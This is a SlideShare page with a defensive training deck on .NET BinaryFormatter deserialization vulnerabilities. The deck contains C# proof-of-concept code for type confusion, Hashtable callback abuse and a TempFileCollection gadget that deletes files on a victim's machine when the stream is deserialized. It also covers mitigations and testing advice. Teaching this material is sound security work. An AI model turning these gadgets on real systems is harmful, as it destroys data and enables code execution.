SlideShare a Scribd company logo
1 of 50
Download to read offline
Serialization and Security
Dr. Dharma Ganesan
Agenda
• Executive Summary
– One minute recap
• Overview of Serialization/Deserialization
– A few examples
• How to exploit Serialization/Deserialization
– Some design options that will mitigate exploits
• Present takeaways for stakeholders
– Designers/Developers, code reviewers, and testers
• Conclusion
– High-level summary and gentle reminders
2
Terminology – What is Serialization/Deserialization?
3
• Serialization: Converts the state of an object into a stream of bytes
• The bytes can be stored in DB, file system, RAM, Socket, etc.
• Deserialization: Reverses the stream of bytes back into an object
• Nice feature to exchange the state of an object between any two parties
• Also, a nice avenue for security attacks 
• This feature is present in several object-oriented languages
Object
DB File Socket
Shared
Memory
…
Executive Summary
• Distributed systems often exchange objects (i.e., state data)
– Objects often cross trust-boundaries (details later)
– Objects are serialized on one-end and deserialized on the other end
• Insufficient validation of input byte streams leads to security risks
– Attackers can perform remote code execution
– Compromise CIA (Confidentiality, Integrity, and Availability)
• Our goal is to share selected best practices to prevent this attack
– Also share a few anti-patterns that enable this attack
4
OWASP Top 10, 2017 has Deserialization
5
Applicability of Serialization Attack
• Any client-server application which exchanges objects
– REST APIs that accept objects as part of HTTP POST requests
– Thick clients which exchange data with each other indirectly via a server
• Slides present how developers can detect and prevent this attack
• Security testers can learn how to test for serialization vulnerabilities
6
An Abstracted View of a Typical Distributed System
7
• Objects are exchanged among different trust boundaries
Options for Attackers
• Option1: Run app C in a debugger
– Put breakpoints and inject evil objects
• Option2: Modify TCP traffic (http)
– Man in the middle injects evil objects
• Option3: Write an evil app E
– App E will select any object of interest
– App must implement messaging protocols
– Evil app may have valid credentials
8
Definition of User Inputs (in a serialization context)
• Traditional defn.: User inputs are data that are provided by users
• But serialized data from one application is an input to other applications
• Threat: Evil client programs can inject arbitrary objects of interest
– Remote code execution, access to confidential data, delete the file system, etc.
• Serialized data should be considered as user inputs
– even though they are low-level sequence of bytes
9
Types of Serialization in C# (Too many)
• BinaryFormatter
• SoapFormatter
• XMLSerializer
• DataContractSerializer
• NetDataContractSerializer
• JSONSerializer
• …
Scope of this presentation: BinaryFormatter
Future presentation series will cover all other types
10
BinaryFormatter – Brief Overview
• Serializes and deserializes an object to/from the binary format, respectively
• Two relevant methods
– Serialize(Stream, Object)
• The state of the object is written into the stream
– Deserialize(Stream)
• From the stream the object’s state is reconstructed
• Self-evaluation: Do you know why BinaryFormatter can be insecure?
– Keep the answer to yourself (details coming shortly)
– See the signature of Serialize and Deserialize and guess
11
BinaryFormatter – Simple Class for “Demo”
12
Let’s serialize this Person and look at the raw output
13
[TestMethod]
public void Serialize_Person()
{
Person p = new Person();
p.Age = 21; // 0x15
p.Salary = 100; // 0x64
BinaryFormatter fmt = new BinaryFormatter();
using (FileStream stm = File.OpenWrite("person.stm"))
{
fmt.Serialize(stm, p);
}
}
Some questions for self-evaluation (answers coming soon)
1. Will the serialized stream contain the class type name with namespace?
2. Will the BinaryFormatter serialize private members?
3. Will the serialized stream contain source code of constructors,
destructors?
4. Will the serialized stream contain source code of properties (get/set)?
5. Is there a crypto hash of the serialized stream?
14
BinaryFormatter – output (private members are serialized)
15
$ hexdump -C person.stm
00000000 00 01 00 00 00 ff ff ff ff 01 00 00 00 00 00 00 |................|
00000010 00 0c 02 00 00 00 4b 42 69 6e 61 72 79 46 6f 72 |......KBinaryFor|
00000020 6d 61 74 74 65 72 44 6f 75 62 74 2c 20 56 65 72 |matterDoubt, Ver|
00000030 73 69 6f 6e 3d 31 2e 30 2e 30 2e 30 2c 20 43 75 |sion=1.0.0.0, Cu|
00000040 6c 74 75 72 65 3d 6e 65 75 74 72 61 6c 2c 20 50 |lture=neutral, P|
00000050 75 62 6c 69 63 4b 65 79 54 6f 6b 65 6e 3d 6e 75 |ublicKeyToken=nu|
00000060 6c 6c 05 01 00 00 00 1a 42 69 6e 61 72 79 46 6f |ll......BinaryFo|
00000070 72 6d 61 74 74 65 72 52 69 73 6b 2e 50 65 72 73 |rmatterRisk.Pers|
00000080 6f 6e 02 00 00 00 04 5f 61 67 65 07 5f 73 61 6c |on....._age._sal|
00000090 61 72 79 00 00 08 08 02 00 00 00 15 00 00 00 64 |ary............d|
000000a0 00 00 00 0b |....|
000000a4
4 bytes for age
(in hex)
4 bytes for
salary (in hex)
hexdump – Unix command line tool
What happens if we edit the serialized stream?
• Let’s directly edit the binary and change the age and salary of the Person
• Let’s increase the age by 1 and give him $2 hike 
• We can edit the binary stream as follows (e.g., on Linux command line)
– vim person.stm
– :%!xxd (to change to hex mode)
– Change the bytes
– :%!xxd –r (to return to bin mode)
– wq
16
Updated age (22 or 0x16) and salary ($102 or 0x66)
17
NO integrity check.
We can edit the
binary stream
What is the difference among the 3 ways of deserialize?
18
[TestMethod]
public void DeSerialize_Person() {
BinaryFormatter fmt = new BinaryFormatter();
MemoryStream ms = new MemoryStream(File.ReadAllBytes("person.stm"));
Person obj = fmt.Deserialize(ms) as Person;
}
[TestMethod]
public void DeSerialize_Person2() {
BinaryFormatter fmt = new BinaryFormatter();
MemoryStream ms = new MemoryStream(File.ReadAllBytes("person.stm"));
Person obj = (Person) fmt.Deserialize(ms);
}
[TestMethod]
public void DeSerialize_Person3() {
BinaryFormatter fmt = new BinaryFormatter();
MemoryStream ms = new MemoryStream(File.ReadAllBytes("person.stm"));
Object obj = fmt.Deserialize(ms);
}
Will these methods call the
1. constructors of Person?
2. destructor of Person?
3. getters/setters of Person?
Answers to the deserialization questions
19
[TestMethod]
public void DeSerialize_Person() {
BinaryFormatter fmt = new BinaryFormatter();
MemoryStream ms = new MemoryStream(File.ReadAllBytes("person.stm"));
Person obj = fmt.Deserialize(ms) as Person;
}
[TestMethod]
public void DeSerialize_Person2() {
BinaryFormatter fmt = new BinaryFormatter();
MemoryStream ms = new MemoryStream(File.ReadAllBytes("person.stm"));
Person obj = (Person) fmt.Deserialize(ms);
}
[TestMethod]
public void DeSerialize_Person3() {
BinaryFormatter fmt = new BinaryFormatter();
MemoryStream ms = new MemoryStream(File.ReadAllBytes("person.stm"));
Object obj = fmt.Deserialize(ms);
}
This calls the
1. Static constructor of Person
2. Destructor of Person
This calls the
1. Static constructor of Person
2. Destructor of Person
This calls the
1. Static constructor of Person
2. Destructor of Person
Default constructor
was never called by
any of these variants
All deserialization methods runs destructors BLINDLY
20
But default
deconstructors are
automatically called
NONE of the methods
called the default
constructors
Answers to self-evaluation
1. Will the serialized stream contain the class type name with namespace?
• YES, see the hex dump of the serialized binary
2. Will the BinaryFormatter serialize private members?
• YES
3. Will the serialized stream contain source code of constructors,
destructors?
• NO
4. Will the serialized stream contain source code of properties (get/set)?
• NO
5. Is there a crypto hash of the serialized stream? NO
21
Let’s be evil and confuse the type system
• What happens if the server expects Type B but we send Type A instead?
• Question for self-evaluation: Can you guess what will the server do?
– This is highly unpleasant
Let’s construct two types of objects for experimentation purposes
22
Two types of classes to confuse the Deserialize method
23
[Serializable]
public class TypeA {
static TypeA()
{
Console.WriteLine("I'm a static constructor of class A!");
}
}
[Serializable]
public class TypeB {
static TypeB()
{
Console.WriteLine("I'm a static constructor of class B!");
}
~TypeB()
{
Console.WriteLine("I'm a destructor of class B!");
}
}
Let’s send wrong types to the Deserialize method
24
// simulation: server expects Type A but client sends Type B
[TestMethod]
public void TypeConfusion(){
MemoryStream ms = new MemoryStream(File.ReadAllBytes("clientB.stm"));
BinaryFormatter fmt2 = new BinaryFormatter();
TypeA obj = (TypeA) fmt2.Deserialize(ms);
}
If we send a wrong type, the
class cast exception is
thrown. Are we SAFE?
Let’s deserialize using “as Type A”: Is it any better?
25
// simulation: server expects Type A but client sends Type B
[TestMethod]
public void TypeConfusion2(){
MemoryStream ms = new MemoryStream(File.ReadAllBytes("clientB.stm"));
BinaryFormatter fmt2 = new BinaryFormatter();
TypeA obj = fmt2.Deserialize(ms) as TypeA;
}
Will this perform type checking
before deserialization?
Let’s deserialize using “as Type A” …
26
// simulation: server expects Type A but client sends Type B
[TestMethod]
public void TypeConfusion2(){
MemoryStream ms = new MemoryStream(File.ReadAllBytes("clientB.stm"));
BinaryFormatter fmt2 = new BinaryFormatter();
TypeA obj = fmt2.Deserialize(ms) as TypeA;
Assert.IsNotNull(obj);
}
If we send a wrong type, the
deserialized object will be
null. Are we SAFE?
Wait a minute – Some code got executed (under the hood)
27
• Both TypeConfusion and TypeConfusion2 ran code during deserialization
Actually the static
constructor and destructor
of Type B ran.
Lesson 1: BinaryFormatter does not perform type checking during deserialization
So what is the big deal?
• We just ran static constructor and destructor code
• Most people will think static constructors and destructor are not harmful
• NO – Wait until the next slides
• We never know - there are tons of classes in the .NET library
• What if one of our application static constructors create DB connections
• Or, if one of the destructors clean-up some resources
Let’s be evil and perform unpleasant actions during deserialization
28
Do you know .NET has a juicy class (TempFilecollection)?
• Represents a collection of temporary files. It is also serializable 
29
Downloaded the source code of .NET
Searched for files with a file Delete method
Independently published by others at Blackhat conference
Let’s serialize Tempfilecollection (on attacker’s machine)
30
[TestMethod]
public void SerializeTempFileCollection() {
TempFileCollection tempFileCollection = new TempFileCollection();
tempFileCollection.KeepFiles = false; // delete the files
tempFileCollection.AddFile(@"C:tempTempFileCollectionjunk.txt", false);
tempFileCollection.AddFile(@"C:tempTempFileCollectionjunk2.txt", false);
BinaryFormatter fmt = new BinaryFormatter();
using (FileStream stm = File.OpenWrite("tempCollection.stm")) {
fmt.Serialize(stm, tempFileCollection);
}
}
• junk and junk2.txt will be removed on the attacker’s machine (but that’s OK)
• The point is that the serialized stream will have files to be deleted on victims’ machines
Let’s look inside the serialized tempfilecollection content
31
junk.txt and junk2.txt
are part of the stream
Let’s send TempFileCollection stream instead of TypeA
32
[TestMethod]
public void RemoveFilesOnVictim() {
MemoryStream ms = new MemoryStream(File.ReadAllBytes("tempCollection.stm"));
BinaryFormatter fmt2 = new BinaryFormatter();
TypeA obj = fmt2.Deserialize(ms) as TypeA;
}
The victim expects TypeA but
the evil attacker sends
TempFileCollection
Before deserialization on victim’s folder structure
33
[TestMethod]
public void RemoveFilesOnVictim() {
MemoryStream ms = new MemoryStream(File.ReadAllBytes("tempCollection.stm"));
BinaryFormatter fmt2 = new BinaryFormatter();
TypeA obj = fmt2.Deserialize(ms) as TypeA;
}
After deserialization on victim’s folder structure
34
[TestMethod]
public void RemoveFilesOnVictim() {
MemoryStream ms = new MemoryStream(File.ReadAllBytes("tempCollection.stm"));
BinaryFormatter fmt2 = new BinaryFormatter();
TypeA obj = fmt2.Deserialize(ms) as TypeA;
}
We removed the files
on the victim’s
machine 
How did we delete files on victim’s machine?
35
We can remove a set
of files on victims’
machines.
Garbage collector will call this method.
Reflective Serialization Attack on Client Applications
36
Implicit code execution on deserialization event
• .NET allows callbacks to be executed implicitly
• If a serializable class implements IDeserializationCallback interface, then
the onDeserialization method will be called
• Another remote code execution opportunity!
– Attacker just needs to find only one harmful onDeserialization method
37
Activating Deserialization Callbacks
38
// Server expects TypeA but the evil client sends a Hashtable object
[TestMethod]
public void OnDeserializationCallBackTest(){
MemoryStream ms = new MemoryStream(File.ReadAllBytes("hashtable.stm"));
BinaryFormatter fmt = new BinaryFormatter();
TypeA obj = (TypeA) fmt.Deserialize(ms);
}
Will the server call the OnDeserialization method of Hashtable?
Activating OnDeserialization Callback Method
39
Attacker called the
Hashtable.OnDeserialization
method
Let’s activate some dead code
40
Delegates are dangerous.
It is like a function pointer.
• Are delegates serialized?
• If yes, can we change the pointer to arbitrary code?
Replace Junk by Funk in the binary stream
41
There is life after dead
Preventing BinaryFormatter Attacks (Two Options)
• Option 1: Do not use BinaryFormatter
– Use other serialization types that check the expected types during deserialization
• Expected types should not be based on user inputs either
• (future presentation will cover the details)
– Mark pointers, event handlers, or delegates as non serializable
– Use “sealed” to restrict inheritance of serializable classes (if applicable)
• Option 2: Use DeserializationBinder
– Stops instantiating the mismatched object
More details (next slide)
42
Prevention using SerializationBinder (Option 2)
• Step1: SerializationBinder can be used to verify the type
43
public void RemotecodeExecution() // server expects Type A but client sends Type B
{
MemoryStream ms = new MemoryStream(File.ReadAllBytes("clientB.stm"));
BinaryFormatter fmt2 = new BinaryFormatter();
fmt2.Binder = new MyDeserializationBinder("BinaryFormatterRisk.TypeA");
TypeA obj = fmt2.Deserialize(ms) as TypeA;
Assert.IsNull(obj);
}
Prevention using SerializationBinder (Option 2)
44
• If types do not match, we throw an exception and log it
• Stops the static constructor execution
• Does not call the destructor either
• But does not check the data integrity though
Takeaways - for Designers/Engineers
• Please do not use BinaryFormatter
– BinaryFormatter is easy to exploit (as we demonstrated)
• Do not serialize delegates/pointers
– Attackers can point to delegates/pointers to run arbitrary code
• Do not assume that inputs come from our own applications
– Evil test clients may send inconsistent state data with correct/incorrect types
• Validate input types before deserialization
– If we don’t check types, malicious code can be executed
• Read detailed API documents of libraries for full semantics
– Better if we create our own sample programs and understand corner-cases
45
Takeaways - for Code Reviewers
• [Serializable] attribute – is it really needed or accidentally put in here?
– Many of our classes are unnecessarily marked as serializable
• Assume all serialized data are tainted and check the following anti-pattern
– Does the code trust the state data of objects send by clients?
• Trace where serialized data enters the system
– This is a taunting task but usually at-most 5 levels of function calls to trace the data
• Check whether deserialization errors are logged
– A log analysis tool may be able to detect suspicious deserialization activities
• Fortify warnings can also partly help (it may miss issues, too)
– NONE of the BinaryFormatter issues were detected by Fortify
46
Takeaways – for (Security) Testers
• Identify scenarios that deal with serialization
– using threat models
– user stories involving exchange of state data
• Construct test cases with evil types
– Pass different types
– Pass expected types but modify the state data
– Security testers should be comfortable with scripting/programming
• Look for error handling issues as well
– Does the system respond with detailed errors and/or stack traces?
47
Some Myths about Serialization/Deserialization Attacks
• Our software uses TLS 1.2
– Nope. Application level vulnerabilities are not protected by TLS
• We authenticate incoming requests
– Authenticated users can instantiate arbitrary objects and run arbitrary code
• Our constructors do not have code
– There are tons of classes from libraries to choose an evil object
– There are destructors that run blindly and can clean-up (e.g. DB connections, files)
• There is no valuable data to steal
– It does not matter. If they run arbitrary code, they can get a process on our server…
– Remote code execution is usually CVSS score 8 or above
48
Conclusion
• Serialization attacks are serious and are not difficult to exploit
– Applicable to multiple Object-oriented languages and distributed architectures
– Do not be misled by exceptions – look under the hood
• Attackers can compromise confidentiality, integrity, and availability
– Execution of arbitrary code is a serious problem
• Need to introduce standard controls to resist and recover from attacks
– Avoid anti-patterns (discussed in the beginning)
– Check types and data integrity before deserialization
– But no custom serialization code/parser though
• Threat models/architectural views are helpful to visualize the attack surface
49
References
• Overview of Serialization
– https://en.wikipedia.org/wiki/Serialization
• Are you my Type?
– Breaking .NET Through Serialization
• .NET serialization
– Documentation of .NET serialization and BinaryFormatter class
• OWASP Deserialization of untrusted data
– Examples and concepts
– OWASP Top 10, 2017
50

More Related Content

Similar to .NET Deserialization Attacks

BSides LV 2016 - Beyond the tip of the iceberg - fuzzing binary protocols for...
BSides LV 2016 - Beyond the tip of the iceberg - fuzzing binary protocols for...BSides LV 2016 - Beyond the tip of the iceberg - fuzzing binary protocols for...
BSides LV 2016 - Beyond the tip of the iceberg - fuzzing binary protocols for...Alexandre Moneger
 
Patching Windows Executables with the Backdoor Factory | DerbyCon 2013
Patching Windows Executables with the Backdoor Factory | DerbyCon 2013Patching Windows Executables with the Backdoor Factory | DerbyCon 2013
Patching Windows Executables with the Backdoor Factory | DerbyCon 2013midnite_runr
 
0100_Embeded_C_CompilationProcess.pdf
0100_Embeded_C_CompilationProcess.pdf0100_Embeded_C_CompilationProcess.pdf
0100_Embeded_C_CompilationProcess.pdfKhaledIbrahim10923
 
Nikita Abdullin - Reverse-engineering of embedded MIPS devices. Case Study - ...
Nikita Abdullin - Reverse-engineering of embedded MIPS devices. Case Study - ...Nikita Abdullin - Reverse-engineering of embedded MIPS devices. Case Study - ...
Nikita Abdullin - Reverse-engineering of embedded MIPS devices. Case Study - ...DefconRussia
 
C cpluplus 2
C cpluplus 2C cpluplus 2
C cpluplus 2sanya6900
 
The operation principles of PVS-Studio static code analyzer
The operation principles of PVS-Studio static code analyzerThe operation principles of PVS-Studio static code analyzer
The operation principles of PVS-Studio static code analyzerAndrey Karpov
 
Cs1123 3 c++ overview
Cs1123 3 c++ overviewCs1123 3 c++ overview
Cs1123 3 c++ overviewTAlha MAlik
 
02 direct3 d_pipeline
02 direct3 d_pipeline02 direct3 d_pipeline
02 direct3 d_pipelineGirish Ghate
 
Taking browsers fuzzing new
Taking browsers fuzzing newTaking browsers fuzzing new
Taking browsers fuzzing newgeeksec80
 
Deep sec 2012_rosario_valotta_-_taking_browsers_fuzzing_to_the_next_(dom)_level
Deep sec 2012_rosario_valotta_-_taking_browsers_fuzzing_to_the_next_(dom)_levelDeep sec 2012_rosario_valotta_-_taking_browsers_fuzzing_to_the_next_(dom)_level
Deep sec 2012_rosario_valotta_-_taking_browsers_fuzzing_to_the_next_(dom)_levelgeeksec80
 
gdscWorkShopJavascriptintroductions.pptx
gdscWorkShopJavascriptintroductions.pptxgdscWorkShopJavascriptintroductions.pptx
gdscWorkShopJavascriptintroductions.pptxsandeshshahapur
 
Learn c++ Programming Language
Learn c++ Programming LanguageLearn c++ Programming Language
Learn c++ Programming LanguageSteve Johnson
 
Getting started cpp full
Getting started cpp   fullGetting started cpp   full
Getting started cpp fullVõ Hòa
 
Unpack your troubles*: .NET packer tricks and countermeasures
Unpack your troubles*: .NET packer tricks and countermeasuresUnpack your troubles*: .NET packer tricks and countermeasures
Unpack your troubles*: .NET packer tricks and countermeasuresESET
 
What has to be paid attention when reviewing code of the library you develop
What has to be paid attention when reviewing code of the library you developWhat has to be paid attention when reviewing code of the library you develop
What has to be paid attention when reviewing code of the library you developAndrey Karpov
 
Mykhailo Zarai "Be careful when dealing with C++" at Rivne IT Talks
Mykhailo Zarai "Be careful when dealing with C++" at Rivne IT TalksMykhailo Zarai "Be careful when dealing with C++" at Rivne IT Talks
Mykhailo Zarai "Be careful when dealing with C++" at Rivne IT TalksVadym Muliavka
 

Similar to .NET Deserialization Attacks (20)

BSides LV 2016 - Beyond the tip of the iceberg - fuzzing binary protocols for...
BSides LV 2016 - Beyond the tip of the iceberg - fuzzing binary protocols for...BSides LV 2016 - Beyond the tip of the iceberg - fuzzing binary protocols for...
BSides LV 2016 - Beyond the tip of the iceberg - fuzzing binary protocols for...
 
08 subprograms
08 subprograms08 subprograms
08 subprograms
 
Patching Windows Executables with the Backdoor Factory | DerbyCon 2013
Patching Windows Executables with the Backdoor Factory | DerbyCon 2013Patching Windows Executables with the Backdoor Factory | DerbyCon 2013
Patching Windows Executables with the Backdoor Factory | DerbyCon 2013
 
0100_Embeded_C_CompilationProcess.pdf
0100_Embeded_C_CompilationProcess.pdf0100_Embeded_C_CompilationProcess.pdf
0100_Embeded_C_CompilationProcess.pdf
 
Nikita Abdullin - Reverse-engineering of embedded MIPS devices. Case Study - ...
Nikita Abdullin - Reverse-engineering of embedded MIPS devices. Case Study - ...Nikita Abdullin - Reverse-engineering of embedded MIPS devices. Case Study - ...
Nikita Abdullin - Reverse-engineering of embedded MIPS devices. Case Study - ...
 
C cpluplus 2
C cpluplus 2C cpluplus 2
C cpluplus 2
 
The operation principles of PVS-Studio static code analyzer
The operation principles of PVS-Studio static code analyzerThe operation principles of PVS-Studio static code analyzer
The operation principles of PVS-Studio static code analyzer
 
Cs1123 3 c++ overview
Cs1123 3 c++ overviewCs1123 3 c++ overview
Cs1123 3 c++ overview
 
02 direct3 d_pipeline
02 direct3 d_pipeline02 direct3 d_pipeline
02 direct3 d_pipeline
 
8871077.ppt
8871077.ppt8871077.ppt
8871077.ppt
 
Taking browsers fuzzing new
Taking browsers fuzzing newTaking browsers fuzzing new
Taking browsers fuzzing new
 
Deep sec 2012_rosario_valotta_-_taking_browsers_fuzzing_to_the_next_(dom)_level
Deep sec 2012_rosario_valotta_-_taking_browsers_fuzzing_to_the_next_(dom)_levelDeep sec 2012_rosario_valotta_-_taking_browsers_fuzzing_to_the_next_(dom)_level
Deep sec 2012_rosario_valotta_-_taking_browsers_fuzzing_to_the_next_(dom)_level
 
gdscWorkShopJavascriptintroductions.pptx
gdscWorkShopJavascriptintroductions.pptxgdscWorkShopJavascriptintroductions.pptx
gdscWorkShopJavascriptintroductions.pptx
 
Learn c++ Programming Language
Learn c++ Programming LanguageLearn c++ Programming Language
Learn c++ Programming Language
 
Getting started cpp full
Getting started cpp   fullGetting started cpp   full
Getting started cpp full
 
Unpack your troubles*: .NET packer tricks and countermeasures
Unpack your troubles*: .NET packer tricks and countermeasuresUnpack your troubles*: .NET packer tricks and countermeasures
Unpack your troubles*: .NET packer tricks and countermeasures
 
Csharp_mahesh
Csharp_maheshCsharp_mahesh
Csharp_mahesh
 
What has to be paid attention when reviewing code of the library you develop
What has to be paid attention when reviewing code of the library you developWhat has to be paid attention when reviewing code of the library you develop
What has to be paid attention when reviewing code of the library you develop
 
Mykhailo Zarai "Be careful when dealing with C++" at Rivne IT Talks
Mykhailo Zarai "Be careful when dealing with C++" at Rivne IT TalksMykhailo Zarai "Be careful when dealing with C++" at Rivne IT Talks
Mykhailo Zarai "Be careful when dealing with C++" at Rivne IT Talks
 
Return of c++
Return of c++Return of c++
Return of c++
 

More from Dharmalingam Ganesan

Reverse Architecting using Relation Algebra.pdf
Reverse Architecting using Relation Algebra.pdfReverse Architecting using Relation Algebra.pdf
Reverse Architecting using Relation Algebra.pdfDharmalingam Ganesan
 
Cyclic Attacks on the RSA Trapdoor Function
Cyclic Attacks on the RSA Trapdoor FunctionCyclic Attacks on the RSA Trapdoor Function
Cyclic Attacks on the RSA Trapdoor FunctionDharmalingam Ganesan
 
An Analysis of RSA Public Exponent e
An Analysis of RSA Public Exponent eAn Analysis of RSA Public Exponent e
An Analysis of RSA Public Exponent eDharmalingam Ganesan
 
An Analysis of Secure Remote Password (SRP)
An Analysis of Secure Remote Password (SRP)An Analysis of Secure Remote Password (SRP)
An Analysis of Secure Remote Password (SRP)Dharmalingam Ganesan
 
How do computers exchange secrets using Math?
How do computers exchange secrets using Math?How do computers exchange secrets using Math?
How do computers exchange secrets using Math?Dharmalingam Ganesan
 
On the Secrecy of RSA Private Keys
On the Secrecy of RSA Private KeysOn the Secrecy of RSA Private Keys
On the Secrecy of RSA Private KeysDharmalingam Ganesan
 
Computing the Square Roots of Unity to break RSA using Quantum Algorithms
Computing the Square Roots of Unity to break RSA using Quantum AlgorithmsComputing the Square Roots of Unity to break RSA using Quantum Algorithms
Computing the Square Roots of Unity to break RSA using Quantum AlgorithmsDharmalingam Ganesan
 
Analysis of Short RSA Secret Exponent d
Analysis of Short RSA Secret Exponent dAnalysis of Short RSA Secret Exponent d
Analysis of Short RSA Secret Exponent dDharmalingam Ganesan
 
Dependency Analysis of RSA Private Variables
Dependency Analysis of RSA Private VariablesDependency Analysis of RSA Private Variables
Dependency Analysis of RSA Private VariablesDharmalingam Ganesan
 
Solutions to online rsa factoring challenges
Solutions to online rsa factoring challengesSolutions to online rsa factoring challenges
Solutions to online rsa factoring challengesDharmalingam Ganesan
 
Security of RSA and Integer Factorization
Security of RSA and Integer FactorizationSecurity of RSA and Integer Factorization
Security of RSA and Integer FactorizationDharmalingam Ganesan
 

More from Dharmalingam Ganesan (20)

Reverse Architecting using Relation Algebra.pdf
Reverse Architecting using Relation Algebra.pdfReverse Architecting using Relation Algebra.pdf
Reverse Architecting using Relation Algebra.pdf
 
How to exploit rand()?
How to exploit rand()?How to exploit rand()?
How to exploit rand()?
 
Cyclic Attacks on the RSA Trapdoor Function
Cyclic Attacks on the RSA Trapdoor FunctionCyclic Attacks on the RSA Trapdoor Function
Cyclic Attacks on the RSA Trapdoor Function
 
An Analysis of RSA Public Exponent e
An Analysis of RSA Public Exponent eAn Analysis of RSA Public Exponent e
An Analysis of RSA Public Exponent e
 
An Analysis of Secure Remote Password (SRP)
An Analysis of Secure Remote Password (SRP)An Analysis of Secure Remote Password (SRP)
An Analysis of Secure Remote Password (SRP)
 
Thank-a-Gram
Thank-a-GramThank-a-Gram
Thank-a-Gram
 
Active Attacks on DH Key Exchange
Active Attacks on DH Key ExchangeActive Attacks on DH Key Exchange
Active Attacks on DH Key Exchange
 
Can I write to a read only file ?
Can I write to a read only file ?Can I write to a read only file ?
Can I write to a read only file ?
 
How do computers exchange secrets using Math?
How do computers exchange secrets using Math?How do computers exchange secrets using Math?
How do computers exchange secrets using Math?
 
On the Secrecy of RSA Private Keys
On the Secrecy of RSA Private KeysOn the Secrecy of RSA Private Keys
On the Secrecy of RSA Private Keys
 
Computing the Square Roots of Unity to break RSA using Quantum Algorithms
Computing the Square Roots of Unity to break RSA using Quantum AlgorithmsComputing the Square Roots of Unity to break RSA using Quantum Algorithms
Computing the Square Roots of Unity to break RSA using Quantum Algorithms
 
Analysis of Short RSA Secret Exponent d
Analysis of Short RSA Secret Exponent dAnalysis of Short RSA Secret Exponent d
Analysis of Short RSA Secret Exponent d
 
Dependency Analysis of RSA Private Variables
Dependency Analysis of RSA Private VariablesDependency Analysis of RSA Private Variables
Dependency Analysis of RSA Private Variables
 
Analysis of Shared RSA Modulus
Analysis of Shared RSA ModulusAnalysis of Shared RSA Modulus
Analysis of Shared RSA Modulus
 
RSA Game using an Oracle
RSA Game using an OracleRSA Game using an Oracle
RSA Game using an Oracle
 
RSA Two Person Game
RSA Two Person GameRSA Two Person Game
RSA Two Person Game
 
RSA without Integrity Checks
RSA without Integrity ChecksRSA without Integrity Checks
RSA without Integrity Checks
 
RSA without Padding
RSA without PaddingRSA without Padding
RSA without Padding
 
Solutions to online rsa factoring challenges
Solutions to online rsa factoring challengesSolutions to online rsa factoring challenges
Solutions to online rsa factoring challenges
 
Security of RSA and Integer Factorization
Security of RSA and Integer FactorizationSecurity of RSA and Integer Factorization
Security of RSA and Integer Factorization
 

Recently uploaded

HR Software Buyers Guide in 2024 - HRSoftware.com
HR Software Buyers Guide in 2024 - HRSoftware.comHR Software Buyers Guide in 2024 - HRSoftware.com
HR Software Buyers Guide in 2024 - HRSoftware.comFatema Valibhai
 
chapter--4-software-project-planning.ppt
chapter--4-software-project-planning.pptchapter--4-software-project-planning.ppt
chapter--4-software-project-planning.pptkotipi9215
 
KnowAPIs-UnknownPerf-jaxMainz-2024 (1).pptx
KnowAPIs-UnknownPerf-jaxMainz-2024 (1).pptxKnowAPIs-UnknownPerf-jaxMainz-2024 (1).pptx
KnowAPIs-UnknownPerf-jaxMainz-2024 (1).pptxTier1 app
 
ODSC - Batch to Stream workshop - integration of Apache Spark, Cassandra, Pos...
ODSC - Batch to Stream workshop - integration of Apache Spark, Cassandra, Pos...ODSC - Batch to Stream workshop - integration of Apache Spark, Cassandra, Pos...
ODSC - Batch to Stream workshop - integration of Apache Spark, Cassandra, Pos...Christina Lin
 
Der Spagat zwischen BIAS und FAIRNESS (2024)
Der Spagat zwischen BIAS und FAIRNESS (2024)Der Spagat zwischen BIAS und FAIRNESS (2024)
Der Spagat zwischen BIAS und FAIRNESS (2024)OPEN KNOWLEDGE GmbH
 
Asset Management Software - Infographic
Asset Management Software - InfographicAsset Management Software - Infographic
Asset Management Software - InfographicHr365.us smith
 
5 Signs You Need a Fashion PLM Software.pdf
5 Signs You Need a Fashion PLM Software.pdf5 Signs You Need a Fashion PLM Software.pdf
5 Signs You Need a Fashion PLM Software.pdfWave PLM
 
Salesforce Certified Field Service Consultant
Salesforce Certified Field Service ConsultantSalesforce Certified Field Service Consultant
Salesforce Certified Field Service ConsultantAxelRicardoTrocheRiq
 
Learn the Fundamentals of XCUITest Framework_ A Beginner's Guide.pdf
Learn the Fundamentals of XCUITest Framework_ A Beginner's Guide.pdfLearn the Fundamentals of XCUITest Framework_ A Beginner's Guide.pdf
Learn the Fundamentals of XCUITest Framework_ A Beginner's Guide.pdfkalichargn70th171
 
Call Girls in Naraina Delhi 💯Call Us 🔝8264348440🔝
Call Girls in Naraina Delhi 💯Call Us 🔝8264348440🔝Call Girls in Naraina Delhi 💯Call Us 🔝8264348440🔝
Call Girls in Naraina Delhi 💯Call Us 🔝8264348440🔝soniya singh
 
Short Story: Unveiling the Reasoning Abilities of Large Language Models by Ke...
Short Story: Unveiling the Reasoning Abilities of Large Language Models by Ke...Short Story: Unveiling the Reasoning Abilities of Large Language Models by Ke...
Short Story: Unveiling the Reasoning Abilities of Large Language Models by Ke...kellynguyen01
 
XpertSolvers: Your Partner in Building Innovative Software Solutions
XpertSolvers: Your Partner in Building Innovative Software SolutionsXpertSolvers: Your Partner in Building Innovative Software Solutions
XpertSolvers: Your Partner in Building Innovative Software SolutionsMehedi Hasan Shohan
 
Hand gesture recognition PROJECT PPT.pptx
Hand gesture recognition PROJECT PPT.pptxHand gesture recognition PROJECT PPT.pptx
Hand gesture recognition PROJECT PPT.pptxbodapatigopi8531
 
Building Real-Time Data Pipelines: Stream & Batch Processing workshop Slide
Building Real-Time Data Pipelines: Stream & Batch Processing workshop SlideBuilding Real-Time Data Pipelines: Stream & Batch Processing workshop Slide
Building Real-Time Data Pipelines: Stream & Batch Processing workshop SlideChristina Lin
 
What is Fashion PLM and Why Do You Need It
What is Fashion PLM and Why Do You Need ItWhat is Fashion PLM and Why Do You Need It
What is Fashion PLM and Why Do You Need ItWave PLM
 
Engage Usergroup 2024 - The Good The Bad_The Ugly
Engage Usergroup 2024 - The Good The Bad_The UglyEngage Usergroup 2024 - The Good The Bad_The Ugly
Engage Usergroup 2024 - The Good The Bad_The UglyFrank van der Linden
 
BATTLEFIELD ORM: TIPS, TACTICS AND STRATEGIES FOR CONQUERING YOUR DATABASE
BATTLEFIELD ORM: TIPS, TACTICS AND STRATEGIES FOR CONQUERING YOUR DATABASEBATTLEFIELD ORM: TIPS, TACTICS AND STRATEGIES FOR CONQUERING YOUR DATABASE
